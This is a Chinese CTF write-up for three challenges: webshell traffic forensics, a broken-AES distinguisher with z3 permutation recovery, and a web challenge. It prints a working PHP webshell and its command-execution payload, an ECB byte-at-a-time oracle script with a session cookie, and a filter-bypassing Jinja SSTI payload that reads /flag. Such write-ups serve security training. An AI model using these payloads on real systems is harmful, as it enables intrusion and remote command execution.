2026北京市守护者ctf-wp

2026数字中国-网络安全赛道北京赛区初赛个人WP

冰碧蝎?

首先提取出上传的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="1ca3b8c9c81a5fdc";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

发现使用AES-CBC-ZERO-IV模式进行流量加密,写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = b"1ca3b8c9c81a5fdc"
IV = b"\x00" * 16

data = """
密文
"""

data = data.replace("\n", "").strip()
ciphertext = base64.b64decode(data)
print("[*] 密文长度:", len(ciphertext))
cipher = AES.new(KEY, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext, 16)
print(plaintext.decode())

找到写入flag的加密流量:

1
QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCwkcGF0aCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpKTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCkpOw0KfQ0KDQoKZnVuY3Rpb24gRW5jcnlwdCgkZGF0YSkKewogQHNlc3Npb25fc3RhcnQoKTsKICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJykpCiAgICAJewogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsKICAgIAkJCSAkZGF0YVskaV0gPSAkZGF0YVskaV1eJGtleVskaSsxJjE1XTsKICAgIAkJCX0KCQkJcmV0dXJuICRkYXRhOwogICAgCX0KICAgIGVsc2UKICAgIAl7CiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsKICAgIAl9Cn0KJGNtZD0iWTJRZ0wzWmhjaTkzZDNjdmFIUnRiQzkxY0d4dllXUXZJRHRsWTJodklESnBPVkU0UVhSR1JYVjZXVWg0ZDJOVmJYQnFSa05SWTJoVlpERlJjWGRSVFdZNGJWZG1kbFYzYlRsTVJUaFZZVXRXV1VSVVlYRTFkRWNnUGlCbVptWm1abVl4TVRGaFJ5QW1KaUJzY3c9PSI7JGNtZD1iYXNlNjRfZGVjb2RlKCRjbWQpOyRwYXRoPSJMM1poY2k5M2QzY3ZhSFJ0YkM5MWNHeHZZV1F2IjskcGF0aD1iYXNlNjRfZGVjb2RlKCRwYXRoKTsNCm1haW4oJGNtZCwkcGF0aCk7

解出:

image-20260412153345167

解base64得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 省略多余内容

function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
$cmd="Y2QgL3Zhci93d3cvaHRtbC91cGxvYWQvIDtlY2hvIDJpOVE4QXRGRXV6WUh4d2NVbXBqRkNRY2hVZDFRcXdRTWY4bVdmdlV3bTlMRThVYUtWWURUYXE1dEcgPiBmZmZmZmYxMTFhRyAmJiBscw==";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC91cGxvYWQv";$path=base64_decode($path);
main($cmd,$path);

输入的命令:

1
Y2QgL3Zhci93d3cvaHRtbC91cGxvYWQvIDtlY2hvIDJpOVE4QXRGRXV6WUh4d2NVbXBqRkNRY2hVZDFRcXdRTWY4bVdmdlV3bTlMRThVYUtWWURUYXE1dEcgPiBmZmZmZmYxMTFhRyAmJiBscw==
1
cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls

将这个字符串base58解码得到flag:

base

task.py 做了三层处理:

  1. 生成一个随机 Base64 字母表置换 key。

  2. 对 flag连续执行两次:b64encode(m).decode().translate(str.maketrans(table, key))

  3. 将得到的字符串转为二进制位。每一位调用一次 decision(t)

    1
    2
    3
    4
    5
    def decision(t):
    key = urandom(16)
    aes = AES(key)
    m = urandom(16 * 4500)
    return [m, aes.encrypt_ecb(m)][t]

所以 output 里每个元素对应一位:0直接输出随机明文 m,1: 输出错误 AES 实现加密后的 m。压缩文件解压后共有 607 个块,每块 72000 字节。

区分 0/1:正常 AES 输出应该仍然接近均匀随机,理论上无法区分。但 aes.py 里的 S-box 有错误:

标准 AES 这里应为 0xCE,题目中写成了 0xCC,导致 S-box 中 0xCC 重复、0xCE 缺失。加密结果在每个字节位置的分布会缺少某些取值。因此对每个 72000 字节块按 16 字节分组,统计每个字节位置的 256 个取值。如果是 AES 输出,每个位置都会有一个明显不会出现的字节;如果是原始随机数据,4500 个样本下通常不会出现这种固定空洞。

可以写出分类代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ast
import lzma

p = ast.literal_eval(lzma.open("output", "rb").read().decode("latin1"))

bits = ""
for b in p:
zeros = 0
for pos in range(16):
cnt = [0] * 256
for i in range(pos, len(b), 16):
cnt[b[i]] += 1
zeros += sum(x == 0 for x in cnt)

bits += "1" if zeros >= 8 else "0"

c = int(bits, 2).to_bytes((len(bits) + 7) // 8, "big")
print(c.decode())

得到两层置换后的 Base64 字符串:

1
kccy2ybLSqcNoP+dHCc+HGv22pHNZCgqAqldLAvfnQLNoacbHC9b2Abo1g+NjAc2jymd2MvRo5m=

求解 Base64 置换,设标准 Base64 字母表为:

1
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

加密用的是同一个未知置换 key,且执行两次:

1
c = en(en(flag, key), key)

已知:flag格式为 flag{uuid},UUID 是 version 4。md5(flag) == ec2783d8262e2621eece6e9e236479dc

可以用约束求解恢复置换。令P表示逆置换,即密文字母表字符回到标准 Base64 sextet 的映射:

  1. 对 c 用 P c’ji第一层 Base64,得到中间字符串 x。
  2. x 的每个字符也必须属于 Base64 字母表。
  3. 对 x的每个字符继续用 P 得到第二层标准 Base64 字符串。
  4. Base64 解码后必须满足 flag{uuid} 格式。
  5. 枚举满足格式的模型,用 MD5 校验最终 flag。

求解flag脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from z3 import *
import base64
import hashlib

c = "kccy2ybLSqcNoP+dHCc+HGv22pHNZCgqAqldLAvfnQLNoacbHC9b2Abo1g+NjAc2jymd2MvRo5m="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
idx = {ch: i for i, ch in enumerate(table)}
ascii_codes = [ord(ch) for ch in table]

def bv6(n):
return BitVecVal(n, 6)

def bv8(n):
return BitVecVal(n, 8)

def zext8(x):
return ZeroExt(2, x)

def b64_bytes(z0, z1, z2, z3=None):
b0 = (zext8(z0) << 2) | ZeroExt(2, LShR(z1, 4))
b1 = (ZeroExt(2, z1 & bv6(0x0f)) << 4) | ZeroExt(2, LShR(z2, 2))
if z3 is None:
return [b0, b1]
b2 = (ZeroExt(2, z2 & bv6(0x03)) << 6) | zext8(z3)
return [b0, b1, b2]

def lookup_p(byte, p):
expr = p[0]
for i in range(1, 64):
expr = If(byte == bv8(ascii_codes[i]), p[i], expr)
return expr

p = [BitVec(f"p_{i}", 6) for i in range(64)]
s = Solver()
s.add(Distinct(*p))

y = []
for block in range(19):
seg = c[4 * block : 4 * block + 4]
z = []
for ch in seg:
z.append(None if ch == "=" else p[idx[ch]])

bs = b64_bytes(z[0], z[1], z[2], None if z[3] is None else z[3])
for b in bs:
s.add(Or([b == bv8(a) for a in ascii_codes]))
y.append(lookup_p(b, p))

flag = []
for block in range(14):
flag.extend(b64_bytes(y[4 * block], y[4 * block + 1], y[4 * block + 2], y[4 * block + 3]))

for i, ch in enumerate(b"flag{"):
s.add(flag[i] == bv8(ch))
s.add(flag[41] == bv8(ord("}")))

hex_chars = [bv8(ord(ch)) for ch in "0123456789abcdef"]
for upos in range(36):
fp = 5 + upos
if upos in [8, 13, 18, 23]:
s.add(flag[fp] == bv8(ord("-")))
elif upos == 14:
s.add(flag[fp] == bv8(ord("4")))
elif upos == 19:
s.add(Or([flag[fp] == bv8(ord(ch)) for ch in "89ab"]))
else:
s.add(Or([flag[fp] == h for h in hex_chars]))

target = "ec2783d8262e2621eece6e9e236479dc"

while s.check() == sat:
m = s.model()
pv = [m.eval(pi).as_long() for pi in p]

z = "".join("=" if ch == "=" else table[pv[idx[ch]]] for ch in c)
x = base64.b64decode(z)
y2 = "".join(table[pv[idx[chr(b)]]] for b in x)
flag_bytes = base64.b64decode(y2)

if hashlib.md5(flag_bytes).hexdigest() == target:
print(flag_bytes.decode())
break

s.add(Or([p[i] != bv6(pv[i]) for i in range(64)]))
1
flag: flag{48a67e13-9999-479f-8e44-4fb39e28d417}

secureDoc

文档的数字水印功能会返回加密后的密文,在传入的contents后拼接了固定的长度82字节的模板数据,测试发现加密可能使用了ECB加密,基于ECB Orcale复原模板数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests

URL = "http://web-dc65c871c9.adworld.xctf.org.cn/documents/apply-template"
HEADERS = {
"Cookie": "session=eyJpc19hZG1pbiI6ZmFsc2UsInVzZXJfaWQiOjYsInVzZXJuYW1lIjoicm9vdCJ9.ads5hA.fH19ll3G9Up6wC-MC9wL4tz7jqc"
}

BS = 16
SECRET_LEN = 82

def oracle(data: bytes) -> bytes:
# 当前题目内容基本是 ASCII,可先这样发
r = requests.post(URL, headers=HEADERS, json={"content": data.decode("latin1")})
j = r.json()
return bytes.fromhex(j["preview"]["encrypted_content"])

def get_block(ct: bytes, idx: int) -> bytes:
return ct[idx*BS:(idx+1)*BS]

def recover_secret():
known = b""

for i in range(SECRET_LEN):
block_idx = i // BS
pad_len = BS - 1 - (i % BS)

prefix = b"A" * pad_len
target = oracle(prefix)
target_block = get_block(target, block_idx)

found = False
for x in range(256):
probe = prefix + known + bytes([x])
probe_ct = oracle(probe)
probe_block = get_block(probe_ct, block_idx)

if probe_block == target_block:
known += bytes([x])
print(f"{i:02d} -> {bytes([x])!r} | {known!r}")
found = True
break

if not found:
print("failed at", i)
break

return known

if __name__ == "__main__":
sec = recover_secret()
print("Recovered secret:", sec)
try:
print("As text:", sec.decode())
except:
print("Decode failed")

得到:

1
As text: *******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssYTViZWIy! ******

登录管理员账户进入管理面板,可以渲染模板进行模板注入,ban了 []_,使用|attrget() 绕过,payload:

1
{{cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('get')('os')|attr('popen')('cat /flag')|attr('read')()}}

得到flag:

1
flag{llcgKxIfacDwDDDCjAahLnxVnUfOTKpS}